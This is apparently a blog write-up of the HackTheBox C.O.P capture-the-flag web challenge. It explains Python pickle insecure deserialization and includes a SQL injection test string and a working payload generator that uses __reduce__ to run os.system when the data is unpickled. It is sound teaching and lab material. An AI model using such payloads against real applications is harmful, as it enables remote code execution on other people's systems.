We covered the python pickle library and explained why it’s not secure any more. Additionally we demonstrated to exploit a web application implementing the pickle library along with SQL injection. This was part of HackTheBox C.O.P web challenge.

CHALLENGE DESCRIPTION

The C.O.P (Cult of Pickles) have started up a new web store to sell their merch. We believe that the funds are being used to carry out illicit pickle-based propaganda operations! Investigate the site and try and find a way into their operation!

Exploiting Insecure Deserialization in Python Pickle ; A CTF Walkthrough

In this challenge, I encountered a vulnerable web application endpoint:

bashCopyEdithttp://ip:port/product/view/1

The parameter 1 in the URL is injectable. I verified that by replacing it with a classic SQL injection payload like:

arduinoCopyEdit" OR "1"="1

This hinted at deeper underlying vulnerabilities, so I decided to inspect the challenge source code. That’s when I discovered that the application used Python’s pickle module for serializing and deserializing user input , a major red flag.

What is Pickling in Python?

Python’s pickle module is used to serialize (pickle) and deserialize (unpickle) Python object structures into and from byte streams.

  • Pickling converts Python objects into a byte stream.
  • Unpickling reconstructs those byte streams back into Python objects.
pythonCopyEditimport pickle

pickled_data = pickle.dumps(obj)  # Serialization
original_obj = pickle.loads(pickled_data)  # Deserialization

While pickle is convenient, it’s extremely dangerous when used with untrusted input. The official Python documentation explicitly warns:

“It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data received from an untrusted or unauthenticated source.

Vulnerability: Insecure Unpickling

In this case, the web application unpickles data from untrusted sources, making it vulnerable to arbitrary code execution.

To exploit this, I leveraged Python’s special method __reduce__(), which is used by the pickle module to define how an object is serialized and deserialized. By overriding __reduce__, I was able to craft a payload that executes system commands when the object is unpickled.

Exploit Code

Below is the exact Python exploit I used to generate the malicious payload:

pythonCopyEditimport sys
import base64
import pickle
import urllib.parse
import requests
import os

# Command to execute on the target machine
payload = "cp flag.txt application/static/."

# Malicious class with overridden __reduce__ method
class Exp:
def __reduce__(self):
return os.system, (payload,)

# Main function to generate the payload
if __name__ == "__main__":
pickled = pickle.dumps(Exp()) # Serialize the object
encoded = base64.b64encode(pickled).decode() # Base64 encode the payload
print(encoded)

What This Payload Does

Then I Base64-encode the payload so it can be safely delivered via URL or HTTP body.

The class Exp defines a __reduce__ method that returns a tuple instructing pickle to call os.system with the given payload.

In this case, the command: bashCopyEditcp flag.txt application/static/. copies the flag.txt file into a publicly accessible web directory.

The pickle.dumps() function creates the binary payload.

Outcome

After submitting the payload, I was able to retrieve the flag.txt file from the public-facing directory. This confirmed that I had achieved remote code execution through insecure deserialization.

Video Walkthrough

About the Author

Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

View Articles